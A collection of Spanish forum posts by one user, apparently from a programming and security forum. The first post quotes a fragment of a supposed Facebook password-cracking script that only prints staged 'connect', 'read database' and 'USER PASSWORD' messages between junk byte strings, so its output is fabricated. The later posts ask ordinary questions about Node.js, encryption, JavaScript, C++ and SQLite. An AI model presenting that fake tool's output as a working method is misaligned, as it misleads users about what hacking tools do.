       g5er = 'C8  \x00eetyy0\x00   \x00\x01\x05\x01rtrt\x01\x05\x01\x01\x05\x01\x01\x05y\x01\x01\x05\x01\x01\x05\x01\x01\x05\x01\x01\x05\x01\x01\t\x01'
       l6 = '6'
       ar7tt = 'C8\x00\x00\x00\x01\x05\x01\x01\x05\x01\x01\x05FFFFFFF\x01\x01\x05\x01\x01\x05\x01\x01\x05\x01\x01\x05\x01\x01\x05\x01\x01\t\x01'
       bq8qew = '\x01\x05\x01\x05\x01\x05\x01\x01ee\x08\x05\x01\x05\x01\x01\x05\x01\x01\x05\x01\x01\x05ytretyreyr\x01\x01\x05\x01\x01\x05\x01'
       cg8gr = '\x01\x05\x01\x01\x05\x01\x01\x05\x01\x01\x05\x01\x01\t\x01\x01\x05efrtew\x01\x01\x05\x01\x01\x05\x01\x01\x05\x01\x01\x05\x01\x01\x05\x01\x01\x05\x01'
       da7e = '\x01\x05\x01\x01\x05\x01\x01rrrrew\x05\x01\x01EFEFEFEFErt\x05\x01\x01\t\x01\x01\x05\x01\x01\x05\x01\x01tewtewtwr\x05\x01\x01frt\x05\x01\x01\x05\x01\x01\x05\x01\x01\x05\x01'
       e8tg = '\x01\x05\x01\x01\x05\x01\x01\x05\x01\x01\x05\x01\x01\t\x01\x01\x05\x01\x01\x0544t\x01\x01\x05\x01\x01\x05\x01\x01\x05\x01\x01\x05\x01\x01\x05\x01'
       f7er = 'a=C8\x00\x00\x00\x01\x05\x01\x01\x05\x01\x01\x05 \x01\x01\x05\x01\x01\x05\x01\x01  \x05\x01\x01\x05 \x01\x01\x05\x01\x01\t\x01'
       ge7r = 'C8  \x00eetyy0\x00   \x00\x01\x05\x01rtrt\x01\x05\x01\x01\x05\x01\x01\x05y\x01\x01\x05\x01\x01\x05\x01\x01\x05\x01\x01\x05\x01\x01\t\x01'
       l3 = 'p'
       art9t = 'C8\x00\x00\x00\x01\x05\x01\x01\x05\x01\x01\x05\x01\x01\x05RGTR\x01\x01\x05\x01\x01\x05\x01\x01\x05\x01\x01\x05\x01\x01\t\x01'
       bq8qew = '\x01\x05\x01\x05\x01FFF1FF1F11\x05\x01\x01ee\x08\x05\x01\x05\x01\x01\x05\x01F1F11F1F1F\x01\x05\x01\x01\x05ytretyreyr\x01\x01\x05\x01\x01\x05\x01'
       init = 'amanides12'
       cg8gr = '\x01\x05\x01\x01\x05\x01\x01\x05\x01\x01\x05\x01\x01\t\x01\x01\x05efrtew\x01\x01\x05\x01\x01\x05\x01\x01\x05\x01\x01\x05\x01\x01\x05\x01\x01\x05\x01'
       d7ae = '\x01\x05\x01\x01\x05\x01\x01rrrrew\x05\x01\x01rt\x05\x01\x01\t\x01\x01\x05\x01\x01\x05\x01\x01tewtewtwr\x05\x01\x01frt\x05\x01\x01\x05\x01\x01\x05\x01\x01\x05\x01'
       e8tg = '\x01\x05\x01\x01\x05\x01\x01\x05\x01\x01\x05\x01\x01\t\x01\x01\x05\x01\x01\x0544t\x01\x01\x05\x01\x01\x05\x01\x01\x05\x01\x01\x05\x01\x01\x05\x01'
       f7er = 'a=C8\x00\x00\x00\x01\x05\x01\x01\x05\x01\x01\x05 \x01\x01\x05\x01\x01\x05\x01\x01  \x05\x01\x01\x05 \x01\x01\x05\x01\x01\t\x01'
       g7er = 'C8  \x00eetyy0\x00   \x00\x01\x05\x01rtrt\x01\x05\x01\x01\x05\x01\x01\x05y\x01\x01\x05\x01\x01\x05\x01\x01\x05\x01\x01\x05\x01\x01\t\x01'
       l5 = '5'
       art7t = 'C8\x00\x00\x00\x01\x05\x01\x01\x05\x01\x01\x05\x01\x01\x05\x01\x01\x05\x01\x01\x05\x01\x01\x05\x01\x01\x05\x01\x01\t\x01'
       bq87qew = '\x01\x05\x01\x05\x01\x05\x01\x01ee\x08\x05\x01\x05\x01\x01\x05\x01\x01\x05\x01\x01\x05ytretyreyr\x01\x01\x05\x01\x01\x05\x01'
       cg7gr = '\x01\x05\x01\x01\x05\x01\x01\x05\x01\x01\x05\x01\x01\t\x01\x01\x05efrtew\x01\x01\x05\x01\x01\x05\x01\x01\x05\x01\x01\x05\x01\x01\x05\x01\x01\x05\x01'
       d8ae = '\x01\x05\x01\x01\x05\x01\x01rrrrew\x05\x01\x01rt\x05\x01\x01\t\x01\x01\x05\x01\x01\x05\x01\x01tewtewtwr\x05\x01\x01frt\x05\x01\x01\x05\x01\x01\x05\x01\x01\x05\x01'
       e7tg = '\x01\x05\x01\x01\x05\x01\x01\x05\x01\x01\x05\x01\x01\t\x01\x01\x05\x01\x01\x0544t\x01\x01\x05\x01\x01\x05\x01\x01\x05\x01\x01\x05\x01\x01\x05\x01'
       f8er = 'a=C8\x00\x00\x00\x01\x05\x01\x01\x05\x01\x01\x05 \x01\x01F1F1FF1F1F1F1FF1F1F1FRFF1F1F1F1F1F1FF1F1F1F1F1FF1F1F1FF1FF1F1F1F1F1F1F11FF111F1F1F1F2\x05\x01\x01\x05\x01\x01  \x05\x01\x01\x05 \x01\x01\x05\x01\x01\t\x01'
       g7er = 'C8  \x00eetyy0\x00   \x00\x01\x05\x01rtrt\x01\x05\x01\x01\x05\x01\x01\x05y\x01\x01\x05\x01\x01\x05\x01\x01\x05\x01\x01\x05\x01\x01\t\x01'
       time.sleep(2)
       rrr9tt = 'C8\x00\x00\x00\x01\x05\x01\x01\x05\x01\x01\x05\x01\x01\x05\x01\x01\x05\x01\x01\x05\x01\x01\x05\x01\x01\x05\x01\x01\t\x01'
       bqr9ryrqew = '\x01\x05\x01\x05\x01\x05\x01\x01ee\x08\x05\x01\x05\x01\x01\x05\x01\x01\x05\x01\x01\x05ytretyreyr\x01\x01\x05\x01\x01\x05\x01'
       ctu9tggr = '\x01\x05\x01\x01\x05\x01\x01\x05\x01\x01\x05\x01\x01\t\x01\x01\x05efrtew\x01\x01\x05\x01\x01\x05\x01\x01\x05\x01\x01\x05\x01\x01\x05\x01\x01\x05\x01'
       dau9iue = '\x01\x05\x01\x01\x05\x01\x01rrrrew\x05\x01\x01rt\x05\x01\x01\t\x01\x01\x05\x01\x01\x05\x01\x01tewtewtwr\x05\x01\x01frt\x05\x01\x01\x05\x01\x01\x05\x01\x01\x05\x01'
       ett9tg = '\x01\x05\x01\x01\x05\x01\x01\x05\x01\x01\x05\x01\x01\t\x01\x01\x05\x01\x01\x0544t\x01\x01\x05\x01\x01\x05\x01\x01\x05\x01\x01\x05\x01\x01\x05\x01'
       fy9er = 'a=C8\x00\x00\x00\x01\x05\x01\x01\x05\x01\x01\x05 \x01\x01\x05\x01\x01\x05\x01\x01  \x05\x01\x01\x05 \x01\x01\x05\x01\x01\t\x01'
       gr9er = 'C8  \x00eetyy0\x00   \x00\x01\x05\x01rtrt\x01\x05\x01\x01\x05\x01\x01\x05y\x01\x01\x05\x01\x01\x05\x01\x01\x05\x01\x01\x05\x01\x01\t\x01'
       print 'USER PASSWORD: ' + init
       rrr12tt = 'C8\x00\x00\x00\x01\x05\x01\x01\x05\x01\x01\x05\x01\x01\x05\x01\x01\x05\x01\x01\x05\x01\x01\x05\x01\x01\x05\x01\x01\t\x01'
       bqr12ryrqew = '\x01\x05\x01\x05\x01\x05\x01\x01ee\x08\x05\x01\x05\x01\x01\x05\x01\x01\x05\x01\x01\x05ytretyreyr\x01\x01\x05\x01\x01\x05\x01'
       ct12utggr = '\x01\x05\x01\x01\x05\x01\x01\x05\x01\x01\x05\x01\x01\t\x01\x01\x05efrtew\x01\x01\x05\x01\x01\x05\x01\x01\x05\x01\x01\x05\x01\x01\x05\x01\x01\x05\x01'
       da21uiue = '\x01\x05\x01\x01\x05\x01\x01rrrrew\x05\x01\x01rt\x05\x01\x01\t\x01\x01\x05\x01\x01\x05\x01\x01tewtewtwr\x05\x01\x01frt\x05\x01\x01\x05\x01\x01\x05\x01\x01\x05\x01'
       et21ttg = '\x01\x05\x01\x01\x05\x01\x01\x05\x01\x01\x05\x01\x01\t\x01\x01\x05\x01\x01\x0544t\x01\x01\x05\x01\x01\x05\x01\x01\x05\x01\x01\x05\x01\x01\x05\x01'
       fy12er = 'a=C8\x00\x00\x00\x01\x05\x01\x01\x05\x01\x01\x05 \x01\x01\x05\x01\x01\x05\x01\x01  \x05\x01\x01\x05 \x01\x01\x05\x01\x01\t\x01'
       gr12er = 'C8  \x00eetyy0\x00   \x00\x01\x05\x01rtrt\x01\x05\x01\x01\x05\x01\x01\x05y\x01\x01\x05\x01\x01\x05\x01\x01\x05\x01\x01\x05\x01\x01\t\x01'
   else:
       time.sleep(0.5)
       print 'ready to connect ' + ip
       time.sleep(1)
       print '...'
       time.sleep(0.3)
       print 'connect ' + ip
       time.sleep(1)
       print 'connected to ' + ip
       time.sleep(0.2)
       print '...'
       time.sleep(2)
       arrrtt = 'C8\x00\x00\x00\x01\x05\x01\x01\x05\x01\x01\x05\x01\x01\x05\x01\x01\x05\x01\x01\x05\x01\x01\x05\x01\x01\x05\x01\x01\t\x01'
       bqqttew = '\x01\x05\x01\x05\x01\x05\x01\x01ee\x08\x05\x01\x05\x01\x01\x05\x01\x01\x05\x01\x01\x05ytretyreyr\x01\x01\x05\x01\x01\x05\x01'
       cgygr = '\x01\x05\x01\x01\x05\x01\x01\x05\x01\x01\x05\x01\x01\t\x01\x01\x05efrtew\x01\x01\x05\x01\x01\x05\x01\x01\x05\x01\x01\x05\x01\x01\x05\x01\x01\x05\x01'
       derae = '\x01\x05\x01\x01\x05\x01\x01rrrrew\x05\x01\x01rt\x05\x01\x01\t\x01\x01\x05\x01\x01\x05rt\x01\x01tewtewtwr\x05\x01\x01frt\x05\x01\x01\x05\x01\x01\x05\x01\x01\x05\x01'
       ehtg = '\x01\x05\x01\x01\x05\x01\x01\x05\x01\x01\x05\x01\x01\t\x01\x01\x05\x01\x01\x0544t\x01\x01\x05\x01\x01\x05\x01\x01\x05\x01\x01\x05\x01\x01\x05\x01'
       frer = 'a=C8\x00\x00\x00\x01\x05\x01\x01\x05\x01\x01\x05 \x01\x01\x05\x01\x01\x05\x01\x01  \x05\x01\x01\x05 \x01\x01\x05\x01\x01\t\x01'
       gtrer = 'C8  \x00eetyy0\x00   \x00\x01\x05\x01rtrt\x01\x05\x01\x01\x05\x01\x01\x05y\x01\x01\x05\x01\x01\x05\x01\x01\x05\x01\x01\x05\x01\x01\t\x01'
       print 'read ' + ip + ' DataBase'
       time.sleep(2)
       print 'mysql read & connect'
       time.sleep(0.2)
       print 'GET_OPTIONS=TRUE'
       time.sleep(0.3)
       print 'FOREIGN_KEY_CHECKS=@OLD_FOREIGN_KEY_CHECKS'
       time.sleep(0.2)
       print '...'
       time.sleep(1)
       print 'UNIQUE_CHECKS=@OLD_UNIQUE_CHECKS'
       time.sleep(0.5)
       print '...'
       time.sleep(1)
       ar4tt = 'C8\x00\x00\x00\x01\x05\x01\x01\x05\x01\x01\x05\x01\x01\x05\x01\x01\x05\x01\x01\x05\x01\x01\x05\x01\x01\x05\x01\x01\t\x01'
       bq54qew = '\x01\x05\x01\x05\x01\x05\x01\x01ee\x08\x05\x01\x05\x01\x01\x05\x01\x01\x05\x01\x01\x05ytretyreyr\x01\x01\x05\x01\x01\x05\x01'
       cg45gr = '\x01\x05\x01\x01\x05uuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuu\x01\x01\x05\x01\x01\x05\x01\x01\t\x01\x01\x05efrtew\x01\x01\x05\x01\x01\x05\x01\x01\x05\x01\x01\x05\x01\x01\x05\x01\x01\x05\x01'
       da6e = '\x01\x05\x01\x01\x05\x01\x01rrrrew\x05\x01\x01rt\x05\x01\x01\t\x01\x01\x05\x01\x01\x05\x01uu\x01tewtewtwr\x05\x01\x01frt\x05\x01\x01\x05\x01\x01\x05\x01\x01\x05\x01'
       et4g = '\x01\x05\x01\x01\x05\x01\x01\x05\x01\x01\x05\x01\x01\t\x01\x01\x05\x01\x01\x0544t\x01\x01\x05\x01\x01\x05\x01\x01\x05\x01\x01\x05\x01\x01\x05\x01'
       f5er = 'a=C8\x00\x00\x00\x01\x05\x01\x01\x05\x01\x01\x05 \x01\x01\x05\x01\x01\x05\x01\x01  \x05\x01\x01\x05 \x01\x01\x05\x01\x01\t\x01'
       ge6r = 'C8  \x00eetyy0\x00   \x00\x01\x05\x01rtrt\x01\x05\x01\x01htht\x05\x01\x01\x05y\x01\x01\x05\x01\x01\x05\x01\x01\x05\x01\x01\x05\x01\x01\t\x01'
       print 'search in DataBaseRow the user with mail == ' + name
       time.sleep(5)
       print 'Warning: DATABASE INTERFERENCES'
       time.sleep(1)
       print 'problem to get password'
       time.sleep(1)
       print 'socket finish whit result: null'
       time.sleep(1)
       print 'service finish'
       time.sleep(0.4)
       print '____________________________________________'
       time.sleep(0.3)
       print ''
       time.sleep(0.2)
       arwrett = 'C8\x00\x00\x00\x01\x05\x01\x01\x05\x01\x01SQSL\x05\x01\x01\x05\x01\x01\x05\x01\x01\x05\x01\x01\x05\x01\x01\x05\x01\x01\t\x01'
       bqyhgrqew = '\x01\x05\x01\x05\x01\x05\x01\x01ee\x08\x05\x01\x05\x01\x01\x05\x01\x01\x05\x01\x01\x05ytretyreyr\x01\x01\x05\x01\x01\x05\x01'
       cgrgr = '\x01\x05\x01\x01\x05\x01\x01\x05\x01\x01\x05\x01\x01\t\x01\x01\x05efrtew\x01\x01\x05\x01\x01\x05\x01\x01\x05\x01\x01\x05\x01\x01\x05\x01\x01\x05\x01'
       derae = '\x01\x05\x01\x01\x05\x01\x01rrrrew\x05\x01\x01rt\x05\x01\x01\t\x01\x01\x05\x01\x01\x05\x01\x01tewtewtwr\x05\x01\x01frt\x05\x01\x01\x05\x01\x01\x05\x01\x01\x05\x01'
       egtg = '\x01\x05\x01\x01\x05\x01\x01\x05\x01\x01\x05\x01\x01\t\x01\x01\x05\x01\x01\x0544t\x01\x01\x05\x01\x01\x05\x01\x01\x05\x01\x01\x05\x01\x01\x05\x01'
       frer = 'a=C8\x00\x00\x00\x01\x05\x01\x01\x05\x01\x01\x05 \x01\x01\x05\x01\x01\x05\x01\x01  \x05\x01\x01\x05 \x01\x01\x05\x01\x01\t\x01'
       gerer = 'C8  \x00eetyy0\x00   \x00\x01\x05\x01rtrt\x01\x05\x01\x01\x05\x01\x01\x05y\x01\x01\x05\x01\x01\x05\x01\x01\x05\x01\x01\x05\x01\x01\t\x01'
       print 'ERROR: PROBLEM TO GET PASSWORD -> try later or with another acount.'
       r45rrtt = 'C8\x00\x00\x00\x01\x05\x01\x01\x05\x01\x01\x05\x01\x01\x05\x01\x01\x05\x01\x01\x05\x01\x01\x05\x01\x01\x05\x01\x01\t\x01'
       bqr54ryrqew = '\x01\x05\x01\x05\x01\x05\x01\x01ee\x08\x05\x01\x05\x01\x01\x05\x01\x01\x05\x01\x01\x05ytretyreyr\x01\x01\x05\x01\x01\x05\x01'
       ctutg45gr = '\x01\x05\x01\x01\x05ytuuuuuuuuuytrurytuuuuuurtytytuuuuuuutuuuuuuuuuuuuuuuuuuuuuuuu\x01\x01\x05\x01\x01\x05\x01\x01\t\x01\x01\x05efrtew\x01\x01\x05\x01\x01\x05\x01\x01\x05\x01\x01\x05\x01\x01\x05\x01\x01\x05\x01'
       dauiu45e = '\x01\x05\x01\x01\x05\x01\x01rrrrew\x05\x01\x01rt\x05\x01\x01\t\x01\x01\x05\x01\x01\x05\x01\x01tewtewtwr\x05\x01\x01frt\x05\x01\x01\x05\x01\x01\x05\x01\x01\x05\x01'
       ett45tg = '\x01\x05\x01\x01\x05\x01\x01\x05\x01\x01\x05\x01\x01\t\x01ty\x01\x05\x01\x01\x0544t\x01\x01tytytyt\x05\x01ty\x01\x05\x01\x01\x05\x01\x01\x05\x01\x01\x05\x01'
       fye45r = 'a=C8\x00\x00\x00\x01\x05\x01\x01\x05\x01\x01\x05 \x01\x01\x05\x01\x01\x05\x01\x01  \x05\x01\x01\x05 \x01\x01\x05\x01\x01\t\x01'
       gre445r = 'C8  \x00eetyy0\x00   \x00\x01\x05\x01rtrt\x01\x05\x01\x01\x05\x01\x01\x05y\x01\x01\x05\x01\x01\x05\x01\x01\x05\x01\x01\x05\x01\x01\t\x01'
       print 'The problem may be due to the interferences of the Facebook server, try again later'
       rrrtt = 'C8\x00\x00\x00\x01\x05\x01\x01\x05\x01\x01\x05\x01\x01\x05\x01\x01\x05\x01\x01\x05\x01\x01\x05\x01\x01\x05\x01\x01\t\x01'
       bqrryrqew = '\x01\x05\x01\x05\x01\x05\x01\x01ee\x08\x05\x01\x05\x01\x01\x05\x01\x01\x05\x01\x01\x05ytretyreyr\x01\x01\x05\x01\x01\x05\x01'
       ctutggr = '\x01\x05\x01\x01\x05\x01\x01\x05\x01\x01\x05\x01\x01\t\x01\x01\x05efrtew\x01\x01\x05\x01\x01\x05\x01\x01\x05\x01\x01\x05\x01\x01\x05\x01\x01\x05\x01'
       dauiue = '\x01\x05\x01\x01\x05\x01\x01rrrrew\x05\x01\x01rt\x05\x01\x01\t\x01\x01\x05\x01\x01\x05\x01\x01tewtewtwr\x05\x01\x01frt\x05\x01\x01\x05\x01\x01\x05\x01\x01\x05\x01'
       etttg = '\x01\x05\x01\x01\x05\x01\x01\x05\x01\x01\x05\x01\x01\t\x01\x01\x05\x01\x01\x0544t\x01\x01\x05\x01\x01\x05\x01\x01\x05\x01\x01\x05\x01\x01\x05\x01'
       fyer = 'a=C8\x00\x00\x00\x01\x05\x01\x01\x05\x01\x01\x05 \x01\x01\x05\x01\x01\x05\x01\x01  \x05\x01\x01\x05 \x01\x01\x05\x01\x01\t\x01'
       grer = 'C8  \x00eetyy0\x00   \x00\x01\x05\x01rtrt\x01\x05\x01\x01\x05\x01\x01\x05y\x01\x01\x05\x01\x01\x05\x01\x01\x05\x01\x01\x05\x01\x01\t\x01'
       rrrr3tt = 'C8\x00\x00\x00\x01\x05\x01\x01\x05\x01\x01\x05\x01\x01\x05\x01\x01\x05\x01\x01\x05\x01\x01\x05\x01\x01\x05\x01\x01\t\x01'
       bqr34ryrqew = '\x01\x05\x01\x05\x01\x05\x01\x01ee\x08\x05\x01\x05\x01\x01\x05ererer\x01\x01\x05\x01\x01\x05ytretyreyr\x01\x01\x05\x01\x01\x05\x01'
       ctut5ggr = '\x01\x05\x01\x01\x05\x01eryrer\x01\x05y56ty6y54er\x01\x01\x05\x01\x01\t\x01\x01\x05efrtew\x01\x01\x05\x01\x01\x05\x01\x01\x05\x01\x01erererer\x05\x01\x01\x05\x01\x01\x05\x01'
       daui654ue = '\x01\x05\x01\x01\x05\x01\x01rrrrererrew\x05\x01ererer\x01rt\x05\x01\x01\t\x01\x01\x05rerere\x01\x01\x05\x01\x01tewtewtwr\x05\x01\x01frt\x05\x01\x01\x05\x01\x01\x05\x01\x01\x05\x01'
       ettt45g = '\x01\x05\x01\x01\x05\x01\x01\x05\x01\x01\x05\x01\x01\t\x01\x01\x05\x01\x01\x0544t\x01\x01\x05\x01\x01\x05\x01terere\x01\x05\x01\x01\x05\x01\x01\x05\x01'
       fye3r = 'a=C8\x00\x00\x00\x01\x05\x01\x01\x05\x01\x01\x05 \x01\x01\x05\x01erere\x01\x05\x01\x01  \x05\x01\x01\x05 \x01\x01\x05\x01\x01\t\x01'
       gr34er = 'C8  \x00eetyy0\x00   \x00\x01\x05\x01rtrt\x01\x05\x01\x01\x05\x01\x01\x05y\x01\x01\x05\x01\x01\x05\x01\x01\x05\x01\x01\x05\x01\x01\t\x01'


La ip es de Facebook. Alguna pista con las partes de \x** ? No encuentro donde ejecuta lo que esta en las variables

Un saludo
#9
Buenas,
con este codigo intento obtener un array con el formato: [name: 'nombre', type: 'dir o file',...]
Código (javascript) [Seleccionar]
function getFilesInFolder(realPath, callback){
fs.readdir(realPath, (err, files) => {
if(err)return callback(0);
if(!files.length)return callback([]);
var r = [];
for(var i =0;i<files.length;i++){
var f = files[i];
fs.stat(realPath + '/' + f, (err, stat) => {
if(err)return r.push(0);
var a = {name: f}; // Problema, la variable f cambia hasta el ultimo archivo
if(stat.isFile())a.type = 'file';
else if(stat.isDirectory())a.type = 'dir';
r.push(a);
if(r.length == files.length){
r.filter((e) => {return e;})
console.log('final R: ', r);
callback(r);
}
});
}
});
}


Tiene que ser asincrono. Entiendo el problema pero no se como solucionarlo.

Un saludo
#10
Buenas,
estoy desarrollando un servidor que funcionara como nube para subir archivos que serán cifrados. Lo estoy desarrollando con node.js y no estoy seguro de que contraseña utilizar para cifrar los archivos:

Tengo las contraseñas de cada usuarios guardados en forma de hash en una base de datos. Si utilizo la contraseña en formado hash para cifrar con tener acceso a la base de datos ya se tiene la contraseña. Si utilizo la contraseña del usuario tendré que eliminar la opción de recuerda me la iniciar sesión o pedirla cada vez que se inicie. Pense en guardar la contraseña cifrada con clave publica y guardarla en el socket (socket.io) y en localstorage para recordar.

Mejores ideas?

Gracias
#11
Seguridad / JS ECC mejor libreria
25 Noviembre 2017, 18:15 PM
Buenas
En node.js tengo pensado utilizar crypto con un clave publica/privada elíptica:
openssl ecparam -name secp256k1 -genkey -noout -out private.pem
openssl ec -in private.pem -out public.pem -pubout


La clave publica se la pasare al navegador y necesito una librería para cifrar con ella y pasar el resultado al servidor que descifrara con crypto.
No estoy seguro si utilizar secp256k1 u otra curva.
Encontré una lista de librerías y necesito recomendación https://gist.github.com/jo/8619441

Con RSA y Forge no tengo problema pero prefiero EC:
Código (javascript) [Seleccionar]
var privateKeyPEM = '-----BEGIN RSA PRIVATE KEY--....Q=-----END RSA PRIVATE KEY-----';
var publicKeyPEM = '-----BEGIN PUBLIC KEY-----MI...AB-----END PUBLIC KEY-----';
var publicKey = forge.pki.publicKeyFromPem(publicKeyPEM);
var privateKey = forge.pki.privateKeyFromPem(privateKeyPEM);

var encryptedText = publicKey.encrypt('password');
console.log(encryptedText);
var decryptedText = privateKey.decrypt(encryptedText);
console.log(decryptedText);



Gracias

Un saludo
#12
Si tengo un archivo a.js:

Código (javascript) [Seleccionar]
var variableImportante = {...};

var b = require('b.js');
b.funct(23);


y otro b.js
Código (javascript) [Seleccionar]
module.exports = {
   funct: (arg) => {//como acceder a variableImportante desde aqui sin pasarla como argumento a la funcion funct}
}



Un saludo
#13
Hola,
en este código
Código (cpp) [Seleccionar]
class mainMenu{
public:
static enum menuResult { Nothing, Play, Instruction, About, Exit };
static class menuItem{
public:
menuItem(char * name = "");
menuItem(char * name, mainMenu::menuResult action);
char * name;
mainMenu::menuResult action;
sf::Rect<int> rect;
int fontSize = 24;
void draw(sf::RenderWindow & window);

static mainMenu * mainMenuPointer; // problem
private:
bool created = false;
// draw items
sf::Text text;
sf::RectangleShape outline;
};

std::vector<menuItem> items;

sf::Font font;
void drawItems(sf::RenderWindow & window);
//menuResult handleClick();
};




La variable mainMenuPointer o cualquier variable estática dentro de la clase estática menuItem muestra el error de símbolo externo sin resolver 2001 en visual studio 2013
Alguien sabe porqué?

Un saludo
#14
Hola quiero sobrescribir addEventListener en todos los objetos de modo que no tenga que llamar a AttachEvent por separado:
Código (javascript) [Seleccionar]
addEventListener = function(){
   if(this.attachEvent){return this.attachEvent('on' + arguments[0]);}
   return Object.getPrototypeOf(this).addEventListener.apply(this,arguments);
}


Esto seguramente no funcione y si funciona solo reemplazara el addEventListener de window.

Alguna idea?

Un saludo

@Edit: Ya se que puedo crear una función aparte y pasar como primer parámetro el objeto pero no es lo que quiero hacer.
#15
Hola no se porque pero no puedo captar cuando se pulsan las teclas: flecha arriba, flecha izquierda y space a la vez.
Por ejemplo este codigo no lo detecta:
Código (javascript) [Seleccionar]
document.addEventListener('keydown',function(e){
e = e || window.event;
keys[e.which || e.keyCode] = true;
if(keys[gLib.keys['up']] && keys[gLib.keys['left']])console.log(keys[gLib.keys['space']]);
});


Si es flecha arriba y flecha derecha o cualquier otra combinación no hay problema  :-\
Lo comprobé en Notepad y tampoco lo detecta...
Puede ser una limitación de mi teclado?

Un saludo
#16
Hola supongamos que tengo un objeto formado por vectores:
Código (javascript) [Seleccionar]
[
{x:0,y:0},
{x:30,y:0},
{x:0,y:30}
]


Al unirlos se crea un triangulo que quiero girar. Quiero obtener los puntos resultantes de algo como esto(cuadrado en este caso):
Código (javascript) [Seleccionar]
var c = canvas.getContext('2d');
var cuadrado = [{x:0,y:0},{x:100,y:0},{x:100,y:100},{x:0,y:100}]
var width = 100;
var height = 100;
c.save();
c.setTransform(1,0,0,1,0,0);
c.translate(x+.5*width,y+.5*height); // Nos movemos en la mitad del cuadrado (u otra figura )
c.rotate(Math.PI/180*angulo);
dibujar(cuadrado); // Funcion que utiliza c.moveTo y c.lineTo para dibujar
c.restore();

Quiero rotar los puntos del "cuadrado"  para no tener que utilizar c.rotate y poder comprobar colisiones con SAT


Intente mediante esta función:
Código (javascript) [Seleccionar]
self.lineRotate = function(p,o,a){
var diffX, diffY, dist, ca, na, x, y;

diffX = p.x - o.x;
diffY = p.y - o.y;
dist = this.pointsDistance(o,p);
//dist = Math.sqrt(diffY*diffY + diffX*diffX);

ca = Math.atan2(diffY,diffX) * 180 / Math.PI;
na = ((ca + a) % 360) * Math.PI/180;

x = (o.x + dist * Math.cos(na) + 0.5)|0;
y = (o.y + dist * Math.sin(na) + 0.5)|0;

return {x:x,y:y};
}
self.lineMiddle = function(a,b){
//return {x: a.x + (b.x - a.x)/2, y: a.y + (b.y - a.y)/2};
return {x: (a.x + b.x)/2, y: (a.y + b.y)/2};
}

Y luego la funcion de girar:

Código (javascript) [Seleccionar]
var newPoints = [];
if(points.length < 2)return false;
for(var i=0;i<points.length - 1;i++){
newPoints.push(self.lineRotate(points[i],self.lineMiddle(points[i],points[i+1]),degrees));
}
newPoints.push(self.lineRotate(points[points.length - 2],self.lineMiddle(points[points.length - 2], points[points.length - 1]), degrees));
this.p.setPoints(newPoints);


El triangulo se deforma.
Luego también probé con esta función:
Código (javascript) [Seleccionar]
self.pointRotate = function(p,a,o){ // p = punto | a = angulo | o = origen
o = o || {x:0,y:0};
a = a * Math.PI/180;
p.x -= o.x;
p.y -= o.y;


return new SAT.Vector(
Math.cos(a) * p.x - Math.sin(a) * p.y + o.x,
Math.sin(a) * p.x + Math.cos(a) * p.y + o.y
);
}

Y la función de girar:
Código (javascript) [Seleccionar]
var points = this.p.calcPoints;
var average = new SAT.Vector(0,0);
for(var i =0;i<this.p.calcPoints.length;i++){
average.x += this.p.calcPoints[i].x;
average.y += this.p.calcPoints[i].y;
}
average.x /= this.p.calcPoints.length;
average.y /= this.p.calcPoints.length;
var newPoints = [];
if(points.length < 2)return false;
for(var i=0;i<points.length;i++){
newPoints.push(self.pointRotate(points[i].clone(), degrees, average));
}
this.p.setPoints(newPoints);


También se deforma.

No encuentro porque falla. Ayuden pls


Un saludo

@Edit: Solucionado con esta función y un cambio en la función de dibujar que no es importante:

Código (javascript) [Seleccionar]
rotate: function(degrees){
theta = Math.PI/180 * degrees;
var points = this.p.calcPoints;

var average = new v(0,0);
points.forEach(function(p){
average.x += p.x;
average.y += p.y;
});
average.x /= points.length;
average.y /= points.length;

var newPoints = [];
points.forEach(function(p){
newPoints.push(new v(
((p.x - average.x) * Math.cos(theta) + (p.y - average.y) * Math.sin(theta)) + average.x,
(-(p.x - average.x) * Math.sin(theta) + (p.y - average.y) * Math.cos(theta)) + average.y
));
});
this.p.setPoints(newPoints);
}
#17
Alguien tiene una idea porque la función de Math.atan2 tiene los argumentos y,x y no x,y como las demás funciones parecidas?

Un saludo
#18
Hola, si alguien ejecuta
Código (javascript) [Seleccionar]
console.log = function(){}
console.warn = function(){}
...


Como puedo recuperar estas funciónes ?

Un saludo
#19
Android / CallerIP para android
7 Octubre 2015, 19:16 PM
Hola estoy buscando un programa para android que te diga las conexiones entrantes y salientes y si alguien se conecta para hacer un tracetoroute.

Un saludo
#20
Foro Libre / Comprar cascos bluetooth móvil
3 Octubre 2015, 18:00 PM
Hola tenia estos cascos http://www.amazon.es/Bluedio-Auriculares-Inal%C3%A1mbricos-Bluetooth-Verde/dp/B00Q3TJNHI pero se me rompieron muy rápido.
También he usado cascos con cable pero prefiero por bluetooth.

Me podéis recomendar algunos cascos por bluetooth como los anteriores? No quiero pagar mas de 25 euros.

Un saludo
#21
Hola tengo una table:

Código (sql) [Seleccionar]
CREATE TABLE `test` (
`ID` INTEGER PRIMARY KEY AUTOINCREMENT,
`name` TEXT NOT NULL,
`number` INT NOT NULL
);
INSERT INTO test VALUES(NULL,'Jose',21)


Que al ejecutar:

Código (sql) [Seleccionar]
INSERT INTO test VALUES(NULL,'Jose',21) EXCEPT SELECT * FROM test WHERE name='Jose'

Debería de NO insertar nada, pero si lo hace.

En cambio en esta tabla:
Código (sql) [Seleccionar]
CREATE TABLE `test` (
`name` TEXT NOT NULL,
`number` INT NOT NULL
);
INSERT INTO test VALUES('Jose',21)


Al ejecutar:

Código (sql) [Seleccionar]
INSERT INTO test VALUES('Jose',21) EXCEPT SELECT * FROM test WHERE name='Jose'

Funciona perfecto.
El PRIMARY KEY ID hace que no funcione pero no se porque. ??

Un saludo
#22
PHP / [PHP] SQLite3 clave de encriptacion
29 Septiembre 2015, 22:26 PM
Hola quiero crear una base de datos con SQLite3 y php 5.5 y según la documentación se puede cifrar https://secure.php.net/manual/es/sqlite3.open.php pero a mi no me funciona como si no pongo un tercer parámetro:

Código (php) [Seleccionar]
$db = new SQLite3($dbName,SQLITE3_OPEN_READWRITE | SQLITE3_OPEN_CREATE,"sqlitepassword");

Donde fallo ?

Un saludo
#23
